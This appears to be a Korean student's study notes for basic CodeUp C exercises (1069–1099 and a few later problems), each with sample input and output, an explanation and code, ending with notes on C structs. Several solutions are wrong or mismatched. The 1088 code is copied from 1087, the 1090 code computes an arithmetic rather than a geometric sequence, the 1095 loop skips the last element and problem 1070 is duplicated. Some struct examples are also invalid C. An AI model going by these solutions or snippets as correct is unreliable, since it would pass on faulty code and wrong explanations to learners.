    return 0;
}

1069 : [기초-조건/선택실행구조] 평가 입력받아 다르게 출력하기(설명)

입력

A

출력

best!!!

풀이

switch ~ case 을 이용하여 입력받은 문자를 판단하여 올바른 문장 출력

#include <stdio.h>

int main() {
    char c;
    c = getchar();

    switch(c) {
        case 'A' : printf("best!!!"); break;
        case 'B' : printf("good!!"); break;
        case 'C' : printf("run!"); break;
        case 'D' : printf("slowly~"); break;
        default : printf("what?"); break;
    }

    return 0;
}

1070 : [기초-조건/선택실행구조] 월 입력받아 계절 출력하기(설명)

입력

12

출력

winter

풀이

break를 사용하지 않으면 밑에 케이스까지 출력되는 것을 이용하여, 지정된 형식에 맞게 출력

#include <stdio.h>

int main() {
    int num;
    scanf("%d", &num);

    switch (num) {
        case 12 :
        case 1 :
        case 2 : printf("winter"); break;
        case 3 :
        case 4 :
        case 5 : printf("spring"); break;
        case 6 :
        case 7 :
        case 8 : printf("summer"); break;
        case 9 :
        case 10 :
        case 11 : printf("fall"); break;
    }
}

1070 : [기초-조건/선택실행구조] 월 입력받아 계절 출력하기(설명)

입력

12

출력

winter

풀이

break를 사용하지 않으면 밑에 케이스까지 출력되는 것을 이용하여, 지정된 형식에 맞게 출력

#include <stdio.h>

int main() {
    int num;
    scanf("%d", &num);

    switch (num) {
        case 12 :
        case 1 :
        case 2 : printf("winter"); break;
        case 3 :
        case 4 :
        case 5 : printf("spring"); break;
        case 6 :
        case 7 :
        case 8 : printf("summer"); break;
        case 9 :
        case 10 :
        case 11 : printf("fall"); break;
    }
}

1071 : [기초-반복실행구조] 0 입력될 때까지 무한 출력하기1(설명)

입력

7 4 2 3 0 1 5 6 9 10 8

출력

7 4 2 3

풀이

goto 레이블을 이용하여 입력받은 수를 출력, 0이 입력되면 정지

(이름): : 시작 위치 지정 goto (이름); : 지정된 위치로 이동하여 재실행

#include <stdio.h>

int main() {
    int n;

    P:

    scanf("%d", &n);
    if (n != 0)
    {
        printf("%d\n", n);
        goto P;
    }   

    return 0;
}

1072 : [기초-반복실행구조] 정수 입력받아 계속 출력하기(설명)

입력

5 1 2 3 4 5

출력

1 2 3 4 5

풀이

입력받은 수를 goto가 실행될 때마다 1씩 감소, 0이 되면 종료시킴으로서 지정된 회수만큼 반복 입력된 수를 하나씩 출력

(이름): : 시작 위치 지정 goto (이름); : 지정된 위치로 이동하여 재실행

#include <stdio.h>

int main() {
    int num1, num2; 
    scanf("%d", &num1);

    print_num:

    scanf("%d", &num2);
    printf("%d\n", num2);
    num1 -= 1;

    if(num1 > 0)
    {
        goto print_num;
    }

    return 0;
}

1073 : [기초-반복실행구조] 0 입력될 때까지 무한 출력하기2(설명)

입력

7 4 2 3 0 1 5 6 9 10 8

출력

7 4 2 3

풀이

while 반복문을 이용하여 입력받은 값을 출력 if 조건문을 통해 0이 입력되면 종료

#include <stdio.h>
#include <stdbool.h>

int main() {
    int num;

    while(true)
    {
        scanf("%d", &num);

        if (num == 0)
            break;

        printf("%d\n", num);
    }

    return 0;
}

1074 : [기초-반복실행구조] 정수 1개 입력받아 카운트다운 출력하기1(설명)

입력

5

출력

5 4 3 2 1

풀이

whlie 반복문을 활용하여 n을 입력받은 후 1씩 감소시켜 n값이 0이 되기 전까지 반복

#include <stdio.h>

int main() {
    int n;
    scanf("%d", &n);
    while(n != 0)
    {
        printf("%d\n", n);
        --n;
    }

    return 0;
}

1075 : [기초-반복실행구조] 정수 1개 입력받아 카운트다운 출력하기2(설명)

입력

5

출력

5 4 3 2 1

풀이

whlie 반복문을 활용하여 n을 입력받은 후 1씩 감소시켜 n값이 0보다 작아지기 전까지 반복

#include <stdio.h>

int main() {
    int n;
    scanf("%d", &n);
    while(n > 0)
    {
        n = n - 1;
        printf("%d\n", n);
    }

    return 0;
}

1076 : [기초-반복실행구조] 문자 1개 입력받아 알파벳 출력하기(설명)

입력

f

출력

a b c d e f

풀이

'a'의 아스키코드 값인 97을 이용하여 입력된 문자의 아스키코드 값이 될 때까지 반복 출력

#include <stdio.h>

int main() {
    char c;
    c = getchar();

    for (int i = 97; i <= c; i++) {
        printf("%c ", i);
    }

    return 0;
}

1077 : [기초-반복실행구조] 정수 1개 입력받아 그 수까지 출력하기(설명)

입력

4

출력

0 1 2 3 4

풀이

i값을 0부터 시작하여 입력값이랑 같아질때까지 증가시키며 출력

#include <stdio.h>

int main() {
    int a;
    scanf("%d", &a);

    for (int i = 0; i <= a; i++) {
        printf("%d\n", i);
    }

    return 0;
}

1078 : [기초-종합] 짝수 합 구하기(설명)

입력

5

출력

6

풀이

입력받은 수까지 i 값을 반복적으로 증가시키며 if 조건문에서 2로 나누었을때 나머지가 0이 되는 값들을 모두 더하여 출력

#include <stdio.h>

int main() {
    int sum=0;
    int n;
    scanf("%d", &n);

    for(int i = 1; i <= n; i++)
    {
        if (i % 2 == 0)
            sum = sum + i;
    }

    printf("%d", sum);

    return 0;
}

1079 : [기초-종합] 원하는 문자가 입력될 때까지 반복 출력하기

입력

x b k d l q g a c

출력

x b k d l q

풀이

문자들은 입력받고, 입력받은 문자를 출력 if 조건문을 통해 q가 입력되었을 경우 q를 출력하고 프로그램 종료

#include <stdio.h>
#include <stdbool.h>

int main() {
    char c;

    while (true)
    {
        scanf("%c", &c);

        printf("%c", c);

        if (c == 'q')
        {
            return 0;
        }

    }

    return 0;
}

1080 : [기초-종합] 언제까지 더해야 할까?

입력

55

출력

10

풀이

반복문을 통해 1부터 숫자를 더하여 조건문을 통해 입력한 숫자보다 같거나 커질때를 판단하고, 마지막으로 더한 수를 출력

#include <stdio.h>
#include <stdbool.h>

int main() {
    int num, sum = 0;
    scanf("%d", &num);

    for (int i = 1; i < num; i++)
    {
        sum += i;
        if (sum >= num)
        {
            printf("%d", i);

            break;
        }
    }

    return 0;
}

1081 : [기초-종합] 주사위를 2개 던지면?(설명)

입력

2 3

출력

1 1 1 2 1 3 2 1 2 2 2 3

풀이

중첩 반복문을 통해 각각 i는 첫번째 입력값, j는 두번째 입력값과 같아질 때까지 더하며 반복 출력

#include <stdio.h>
#include <stdbool.h>

int main() {
    int num1, num2;
    scanf("%d %d", &num1, &num2);

    for (int i = 1; i <= num1; i++)
    {
        for (int j = 1; j <= num2; j++)
        {
            printf("%d %d\n", i, j);
        }
    }

    return 0;
}

1082 : [기초-종합] 16진수 구구단?

입력

B

출력

B1=B B2=16 B3=21 B4=2C B5=37 B6=42 B7=4D B8=58 B9=63 BA=6E BB=79 BC=84 BD=8F BE=9A B*F=A5

풀이

중첩 반복문을 통해 각각 입력받은 정수의 단을 출력하는 프로그램을 작성한 후, 16진수를 출력하고 받도록 %x를 이용

#include <stdio.h>

int main() {
    int num;
    scanf("%X", &num);

    for (int i = 1; i <= 15; i++)
    {
        printf("%X*%X=%X\n", num, i, num*i);
    }

    return 0;
}

1083 : [기초-종합] 3 6 9 게임의 왕이 되자!(설명)

입력

9

출력

1 2 X 4 5 X 7 8 X

풀이

for 반복문을 통해 1부터 입력받은 수까지 반복 출력 if 조건문을 통해 3으로 나누어떨어지는 값은 X로 출력

#include <stdio.h>

int main() {
    int i, num;
    scanf("%d", &num);

    for (i = 1; i <= num; i++)
    {
        if (i % 3 == 0)
            printf("X ");
        else
            printf("%d ", i);
    }

    return 0;
}

1084 : [기초-종합] 빛 섞어 색 만들기(설명)

입력

2 2 2

출력

0 0 0 0 0 1 0 1 0 0 1 1 1 0 0 1 0 1 1 1 0 1 1 1 8

풀이

삼중첩 반복문을 이용하여 주사위 경우의 수와 같은 방식으로 출력 sum의 값이 한 번 더 더해짐으로 마지막에 sum값에서 1을 빼준 후 개수 출력

#include <stdio.h>
#include <stdbool.h>

int main() {
    int num1, num2, num3; 
    int sum = 1;
    scanf("%d %d %d", &num1, &num2, &num3);

    for (int x = 0; x < num1; x++)
    {
        for (int y = 0; y < num2; y++)
        {
            for (int z = 0; z < num3; z++)
            {
                sum++;
                printf("%d %d %d\n", x, y, z);
            }
        }
    }

    printf("%d", sum-1);

    return 0;
}

1085 : [기초-종합] 소리 파일 저장용량 계산하기(설명)

입력

44100 16 2 10

출력

1.7 MB

풀이

모든 값을 입력받은 후 곱하여 result값을 구한 후, MB단위를 뽑아야하므로 102410248으로 단위를 맞추어 출력

#include <stdio.h>

int main(){
    long long int h, b, c, s;
    double result;
    scanf("%lld %lld %lld %lld", &h, &b, &s, &c);

    result = h * b * s * c;

    printf("%.1lf MB", result/(8*1024*1024));

    return 0;
}

1086 : [기초-종합] 그림 파일 저장용량 계산하기(설명)

입력

1024 768 24

출력

2.25 MB

풀이

모든 값을 입력받은 후 곱하여 result값을 구한 후, MB단위를 뽑아야하므로 102410248으로 단위를 맞추어 출력

#include <stdio.h>

int main () {
    long long int w,h,b;
    double MB;


    scanf("%lld %lld %lld", &w, &h, &b );
    MB = (w*h*b);


    printf("%.02lf MB",MB/(8*1024*1024));

    return 0;
}

1087 : [기초-종합] 여기까지! 이제 그만~(설명)

입력

57

출력

66

풀이

1~n까지 반복하여 더하고 조건문을 통해 입력된 값보다 커지거나 같아지는 순간의 값을 판단하여 출력

#include <stdio.h>

int main() {
    int n, i;
    int s = 0;
    scanf("%d", &n);
    for(i = 1; ; i++)
    {
        s += i;
        if (s >= n)
            break;
    }

    printf("%d", s);

    return 0;
}

1088 : [기초-종합] 3의 배수는 통과?(설명)

입력

10

출력

1 2 4 5 7 8 10

풀이

1부터 시작하여 입력받은 수까지 반복 조건문으로 판단하여 3으로 나누어떨어질 경우 출력 제외

#include <stdio.h>

int main() {
    int n, i;
    int s = 0;
    scanf("%d", &n);
    for(i = 1; ; i++)
    {
        s += i;
        if (s >= n)
            break;
    }

    printf("%d", s);

    return 0;
}

1089 : [기초-종합] 수 나열하기1

입력

1 3 5

출력

13

풀이

반복문을 활용, 시작값부터 등차값을 계산하여 n번째 수를 출력

#include <stdio.h>

int main() {
    int a, b, c;
    scanf("%d %d %d", &a, &b, &c);
    int arr[100];

    for (int i = 0; i < c; i++)
    {
        arr[i] = a+(i*b);
    }

    printf("%d", arr[c-1]);

    return 0;
}

1090 : [기초-종합] 수 나열하기2

입력

2 3 7

출력

1458

풀이

반복문을 활용, 시작값부터 등비값을 계산하여 n번째 수를 출력

#include <stdio.h>

int main() {
    int a, b, c;
    scanf("%d %d %d", &a, &b, &c);
    int arr[100];

    for (int i = 0; i < c; i++)
    {
        arr[i] = a+(i*b);
    }

    printf("%d", arr[c-1]);

    return 0;
}

1091 : [기초-종합] 수 나열하기3

입력

1 -2 1 8

출력

-85

풀이

반복문을 활용, 시작 값 a에 m을 곱하고 d를 더한 수열의 n번째 수를 출력

#include <stdio.h>

int main() {
    long long int a, m, d, n;
    scanf("%ld %lld %lld %lld", &a, &m, &d, &n);

    for (int i = 0; i < n-1; i++) {
        a *= m;
        a += d;
    }

    printf("%lld", a);

    return 0;
}

1092 : [기초-종합] 함께 문제 푸는 날(설명)

입력

3 7 9

출력

63

풀이

입력된 세 수의 최소공배수를 구하는 프로그램 작성 모든 수가 나누어떨어지는 가장 작은 수를 반복문과 조건문을 통해 탐지

#include <stdio.h>
#include <stdbool.h>

int main() {
    int a, b, c;
    int i = 0;
    scanf("%d %d %d", &a, &b, &c);

    while(true)
    {
        i++;

        if ((i % a == 0) && (i % b == 0) && (i % c == 0)) {
            printf("%d", i);
            break;
        }

    }

    return 0;
}

1093 : [기초-1차원배열] 이상한 출석 번호 부르기1(설명)

입력

10 1 3 2 2 5 6 7 4 5 9

출력

1 2 1 1 2 1 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0

풀이

학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화 불린 인덱스 값의 출석번호에 1을 더함

#include <stdio.h>
int main() {
    int n, i, t;
    int a[24]={};
    scanf("%d", &n);
    for(i=1; i<=n; i++) {
        scanf("%d", &t);
        a[t]=a[t]+1; 
    }

    for(i=1; i<=23; i++) {
        printf("%d ", a[i]);
    }

    return 0;
}

1094 : [기초-1차원배열] 이상한 출석 번호 부르기2(설명)

입력

10 10 4 2 3 6 6 7 9 8 5

출력

5 8 9 7 6 6 3 2 4 10

풀이

학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화 입력받은 값을 인덱스 출력을 이용해 뒤집어서 출력

#include <stdio.h>
int main() {
    int n, i;
    int a[10001]={};
    scanf("%d", &n);

    for(i=1; i<=n; i++)
        scanf("%d", &a[i]);

    for(i=n; i>=1; i--)
        printf("%d ", a[i]);

    return 0;
}

1095 : [기초-1차원배열] 이상한 출석 번호 부르기3(설명)

입력

10 10 4 2 3 6 6 7 9 8 5

출력

2

풀이

학생 수 만큼 크기의 배열 선언 후, 0으로 모두 초기화 입력받은 배열의 인덱스값을 비교하여 가장 작은 수 출력

#include <stdio.h>
int main() {
    int n, m;
    int a[10001]={};
    scanf("%d", &n);

    for(int i=1; i<=n; i++)
        scanf("%d", &a[i]);

    m = a[1];
    for(int i=1; i<n; i++) {
        if (a[i] < m) {
            m = a[i];
        }else {

        }
    }
    printf("%d", m);

    return 0;
}

1096 : [기초-2차원배열] 바둑판에 흰 돌 놓기(설명)

입력

5 1 1 2 2 3 3 4 4 5 5

출력

1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

풀이

입력받은 회수만큼 반복하여 정수 두 개를 입력받기 입력받은 좌표값의 0을 1로 변경

#include <stdio.h>

int main() {
    int arr[20][20];
    int x, a, b;
    scanf("%d", &x);

    for (int i = 1; i < 20; i++)
    {
        for (int j = 1; j < 20; j++)
        {
            arr[i][j] = 0;
        }
    }

    for (int i = 0; i < x; i++)
    {
        scanf("%d %d", &a, &b);
        arr[a][b] = 1;
    }

    for (int i = 1; i < 20; i++)
    {
        for (int j = 1; j < 20; j++)
        {
            printf("%d ", arr[i][j]);
        }

        printf("\n");
    }


    return 0;
}

1097 : [기초-2차원배열] 바둑알 십자 뒤집기(설명)

입력

0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 2 10 10 12 12

출력

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

풀이

19x19 사이즈의 바둑판에 각각 백돌과 흑돌의 위치를 입력받기 입력받은 회수만큼 정수를 두 개씩 입력받기 입력받은 x좌표, y좌표의 돌을 각각 다른색의 돌로 바꿔서 배치 바뀐 바둑판 출력하기

#include <stdio.h>

int main() {
    int n, i, j, x, y;
    int a[20][20]={};
        for(i = 1; i <= 19; i++)
            for(j = 1; j <= 19; j++)
                scanf("%d", &a[i][j]);

    scanf("%d", &n);

    for(i = 1; i <= n; i++)
    {
        scanf("%d %d", &x, &y);
        for(j = 1; j <= 19; j++)
        {
            if(a[x][j]==0)
                a[x][j] = 1;
            else
                a[x][j] = 0;
        }

    for(j=1; j<=19; j++)
        {
            if(a[j][y]==0)
                a[j][y]=1;
            else
                a[j][y] = 0;
        }
    }

    for (i = 1; i <= 19; i++)
    {
        for (j = 1; j <= 19; j++)
        {
            printf("%d ", a[i][j]);
        }
        printf("\n"); //줄 바꾸기
    }

    return 0;
}

1098 : [기초-2차원배열] 설탕과자 뽑기

입력

5 5 3 2 0 1 1 3 1 2 3 4 1 2 5

출력

1 1 0 0 0 0 0 1 0 1 0 0 1 0 1 0 0 1 0 1 0 0 0 0 1

풀이

입력받은 크기의 2차원 배열을 모두 0으로 초기화 입력받은 회수만큼 4개의 정수를 입력받기 지정된 규칙에 따라 해당되는 위치를 1로 변경 2차원 배열 출력

#include <stdio.h>

int main()
{
    int matrix[100][100] = { 0, };

    int h,w,n,l,d,x,y;

    scanf("%d %d",&h,&w);
    scanf("%d",&n);

    for(int i = 1; i <= n; i++){
        scanf("%d %d %d %d",&l,&d,&x,&y);
        if(d == 0){
            for(int j = 0; j<l; j++){
                matrix[x][y+j] = 1;
            }
        }
        else{
            for(int j = 0; j<l; j++){
                matrix[x+j][y] = 1;
            }
        }
    }

    for (int i = 1; i <= h; i++)
    {
        for (int j = 1; j <= w; j++)
        {
            printf("%d ", matrix[i][j]);
        }
        printf("\n");
    }

    return 0;
}

1099 : [기초-2차원배열] 성실한 개미

입력

1 1 1 1 1 1 1 1 1 1 1 0 0 1 0 0 0 0 0 1 1 0 0 1 1 1 0 0 0 1 1 0 0 0 0 0 0 1 0 1 1 0 0 0 0 0 0 1 0 1 1 0 0 0 0 1 0 1 0 1 1 0 0 0 0 1 2 1 0 1 1 0 0 0 0 1 0 0 0 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1

출력

1 1 1 1 1 1 1 1 1 1 1 9 9 1 0 0 0 0 0 1 1 0 9 1 1 1 0 0 0 1 1 0 9 9 9 9 9 1 0 1 1 0 0 0 0 0 9 1 0 1 1 0 0 0 0 1 9 1 0 1 1 0 0 0 0 1 9 1 0 1 1 0 0 0 0 1 0 0 0 1 1 0 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1

풀이

미로상자의 구조를 입력받기 입력받은 미로상자의 2,2 칸에서 시작 오른쪽으로 이동 후, 만약 오른쪽이 1이면 다시 원상복귀 오른쪽과 아래가 모두 1일 경우 중지 2에 닿을 때까지 무한 반복 모든 작업이 수행된 후, 미로상자를 출력

#include <stdio.h>

int main()
{
    int matrix[11][11] = {};  //[세로][가로]
    for(int j = 1; j<=10; j++ ){
        for(int i = 1; i<=10; i++ ){
            scanf("%d ",&matrix[j][i]);
        }
    }

    int x,y;
    x = 2;
    y = 2;

    while(1){


        if(matrix[x][y] == 0){
            matrix[x][y] = 9;
            y ++;
        }
        if(matrix[x][y] == 1){
            y --;
            x++;
        }

        if(matrix[x][y] == 2){
            matrix[x][y] = 9;
            break;
        }
        else if(matrix[x][y+1] == 1 && matrix[x+1][y] == 1){
            if(matrix[x][y] == 0){
                matrix[x][y] = 9;
            }
            break;
        }

    }

    for(int i = 1; i <= 10; i++){
        for(int j =1; j <= 10; j++){
            printf("%d ",matrix[i][j]);
        }
        printf("\n");
    }

    return 0;
}

5차시 수업정리

1805 : 입체기동장치 생산공장

입력

첫째 줄에 입체기동장치의 갯수 n이 입력된다. (1 <= n <= 100) 둘째 줄부터 n+1째 줄까지 각 줄에 입체기동장치의 식별번호 a와 가스 보유량 b가 주어진다. a는 중복 될 수 없지만 b는 중복될 수 있다. (1 <= a <= 100), (0 <= b <= 10,000)

출력

첫째 줄부터 n번째 줄까지 각 줄에 식별번호를 오름차순으로 정렬해 가스 보유량과 같이 출력한다.

풀이

number과 gas를 맴버로 지닌 구조체 device를 만든다. 정수 x와 추후 버블 정렬에 사용될 정수 temp를 선언한다. 정수 x의 값을 첫 번째로 입력받아 구조체 device 배열의 크기를 정의한다. 정의된 크기의 구조체 배열 devices의 number값과 gas값을 전부 입력받는다. 버블정렬을 응용하여 각각의 devices의 number 값을 비교하여 순서를 정리한다. number의 순서대로 정렬된 devices를 출력한다

#include <stdio.h>

struct device
{
    int number;
    int gas;
};

int main() {
    int x, temp;
    scanf("%d", &x);

    // 첫 번째 입력받은 정수만큼의 크기에 구조체 배열 선언
    struct device devices[x];

    // 구조체 변수값 입력
    for (int i = 0; i < x; i++) {
        scanf("%d %d", &devices[i].number, &devices[i].gas);
    }

    // 버블 정렬을 이용하여 구조체 순서 정렬
    for (int i = 0; i < x; i++) {
        for (int j = i+1; j < x; j++) {
            if (devices[i].number > devices[j].number) {
                temp = devices[i].number;
                devices[i].number = devices[j].number;
                devices[j].number = temp;

                temp = devices[i].gas;
                devices[i].gas = devices[j].gas;
                devices[j].gas = temp;
            }
        }
    }

    // 정렬된 구조체 출력
    for (int i = 0; i < x; i++) {
        printf("%d %d\n", devices[i].number, devices[i].gas);
    }

    return 0;
}

4012 : 석차 계산

입력

1) 첫 번째 줄은 처리할 점수의 개수 n ( n <= 200 ) 2) 두 번째 줄은 처리할 점수 데이터 (0~100점) (단, 각각의 점수는 빈칸으로 구별한다.)

출력

석차를 계산한 후 점수와 석차를 출력한다.

풀이

score와 grade를 맴버로 지닌 구조체 rank를 만든다. 정수 x를 선언한다. 정수 x의 값을 첫 번째로 입력받아 구조체 rank 배열의 크기를 정의한다. 정의된 크기의 구조체 배열 ranks의 score값을 전부 입력받는다. 모든 ranks의 맴버 변수 grade는 초기값으로 1을 받는다. score값을 비교하며 비교되는 값이 비교하는 값보다 작을때마다 grade를 1씩 추가한다. 구조체 변수 ranks 전부 출력한다.

#include <stdio.h>

struct rank
{
    int score;
    int grade;
};

int main() {
    int x;
    scanf("%d", &x);

    // 첫 번째로 입력받은 정수 크기의 구조체 생성
    struct rank ranks[x];

    // 구조체 변수에 값 할당
    for (int i = 0; i < x; i++) {
        scanf("%d", &ranks[i].score);
    }

    // 석차 계산
    for (int i = 0; i < x; i++) {
        ranks[i].grade = 1;

        for (int j = 0; j < x; j++) {
            if (ranks[i].score < ranks[j].score) {
                ranks[i].grade++;
            }
        }
    }

    // 점수와 석차 출력
    for (int i = 0; i < x; i++) {
        printf("%d %d\n", ranks[i].score, ranks[i].grade);
    }

    return 0;
}

창작문제_ 회계 관리 시스템

입력

첫째 줄에 부원의 수 N 이 주어진다. (1 ≤ N ≤ 100) 이후 각 부원의 대해 다음 정보가 주어진다.

• 첫째 줄에는 이름(공백 없음), 학번, 지출 내역의 수 M 이 주어진다. (1 ≤ M ≤ 100)
• 다음 M 개의 줄에는 각 지출에 대한 항목명(공백 없음), 금액(0 이상 10,000 이하의 정수), 날짜(YYYY-MM-DD 형식)가 주어진다.

  출력

  각 부원의 대해 이름/학번/총지출 형식으로 한 줄씩 출력한다.
  모든 부원의 정보를 출력한 뒤, 한 줄을 띄우고 지출이 가장 많은 부원의 정보를 다음 형식으로 출력한다. 지출 총액이 같은 경우, 먼저 입력된 부원의 출력한다.

  풀이

  name, number, count, total을 맴버로 갖는 구조체 member와 name, price, data를 맴버로 갖는 구조체 pay를 선언한다. 문제 조건 사항에 함수 사용이라는 조건이 존재하였다.
• 따라서 ->(화살표 연산자)를 사용하여 all값에 가격을 더해주는 함수 add를 선언하였다.* 또한 포인터를 사용하는 조건 또한 존재하였기에 구조체 pay 변수를 포인터함수 pays로 선언하였다.
• 동적 메모리를 사용*하여 members와 pays의 크기를 회원 수(n)과 총 지출 수(count)만큼 반복하여 입력받는다. 이후 회원별로 지출을 더하여 회원별 총 지출을 출력하고, 최고 지출자를 출력한다.

#include <stdio.h>
#include <stdlib.h>
struct member {
    char name[100];
    int number;
    int count;
    int all;
};

struct pay {
    char name[100];
    int price;
    char day[100];
};

// 총 지출을 계산하는 함수 선언
void add(int price, struct member *member) {
    member->all += price;
}

int main() {
    int n, max = 0;

    struct member *members;
    struct pay *pays;

    printf("회원 수를 입력하세요 : ");
    scanf("%d", &n);

    members = (struct member *)malloc(sizeof(struct member) * n);

    for (int i = 0; i < n; i++) {
        printf("\n[%d번째 회원 정보 입력]\n", i+1);
        printf("이름 : ");
        scanf("%s", members[i].name);
        printf("학번 : ");
        scanf("%d", &members[i].number);
        printf("지출 내역 수 : ");
        scanf("%d", &members[i].count);

        members[i].all = 0; // 총 지출 초기화

        // 구조체 pay 크기의 동적 메모리 할당
        pays = (struct pay *)malloc(sizeof(struct pay) * members[i].count);

        for (int j = 0; j < members[i].count; j++) {
            printf("\n   [%d번째 지출 내역]\n", j + 1);
            printf("   항목명 : ");
            scanf("%s", pays[j].name);
            printf("   금액 : ");
            scanf("%d", &pays[j].price);
            printf("   날짜 (YYYY-MM-DD) : ");
            scanf("%s", pays[j].day);

            add(pays[j].price, &members[i]);
        }

        free(pays); // 반복마다 동적 할당 해제
    }

    // 회원별 총 지출 출력
    for (int i = 0; i < n; i++) {
        printf("\n회원 : %s | 학번 : %d | 총 지출 : %d원\n", members[i].name, members[i].number, members[i].all);

    }

    // 최고 지출자 탐색
    for (int i = 1; i < n; i++) {
        if (members[i].all > members[max].all) {
            max = i;
        }
    }

    // 최고 지출자 출력
    printf("\n[최고 지출자]\n");
    printf("이름 : %s\n", members[max].name);
    printf("학번 : %d\n", members[max].number);
    printf("총 지출 : %d원\n", members[max].all);

    free(members);

    return 0;
}

출력결과

구조체란?

서로 다른 자료형을 갖는 자료들의 집합이다.

// 구조체 선언 원형
struct 구조체이름
{
변수1_자료형 변수1_이름;
변수2_자료형 변수2_이름;
}

서로 다른 자료형의 집합?

기존에는 서로 다른 자료형의 변수를 일일이 선언해 주었다. 값 또한 일일이 scanf() 혹은 getchar()을 이용해 할당해 주어야 했다.

// 이름, 과목, 점수를 받을 변수 선언
char name[];
char subject[];
double score;

// 변수에 값을 할당
scanf("%s", name);
scanf("%s", subject);
scanf("%.1lf", &score);

하지만 이러한 과정을 구조체 하나를 선언하여 단순화시킬 수 있다.

// 이름, 과목, 점수를 지닌 구조체 선언
struct student        // "student"라는 구조체 선언
{
    char name[];
    char subject[];
    double score;
} s;                // 구조체 변수 "s" 선언

// 구조체 변수 초기화
struct student s = {이름, 과목, 점수}

구조체 선언 시, 주의할 점

• 구조체 변수 또한 지역변수와 전역변수의 개념이 존재한다.
• 배열과 마찬가지로 초기값을 할당받지 못한 경우 0으로 초기화된다.

다양한 구조체 맴버

배열

• 문자열과 마찬가지로 사용 가능하다.

  포인터

• 구조체의 맴버로 포인터 변수도 선언 가능하다.

typedef를 통한 구조체 재정의

// 구조체 선언 후, "NUM"으로 재정의
struct num
{
    num1;
    num2;
}NUM;

typedef struct num NUM;

// 구조체를 선언하며, "NUM"으로 재정의
typedef struct num
{
    num1;
    num2;
}NUM;

구조체 배열

// 구조체 변수를 배열 형식으로 선언
struct num
{
    num1;
    num2;
}s[(정수)];        // 구조체 배열 선언

구조체 관련 연산자

``` // .(dot) 연산자 . 는 클래스의 멤버를 직접적으로 접근한다. (구조체 변수 이름).(맴버명)

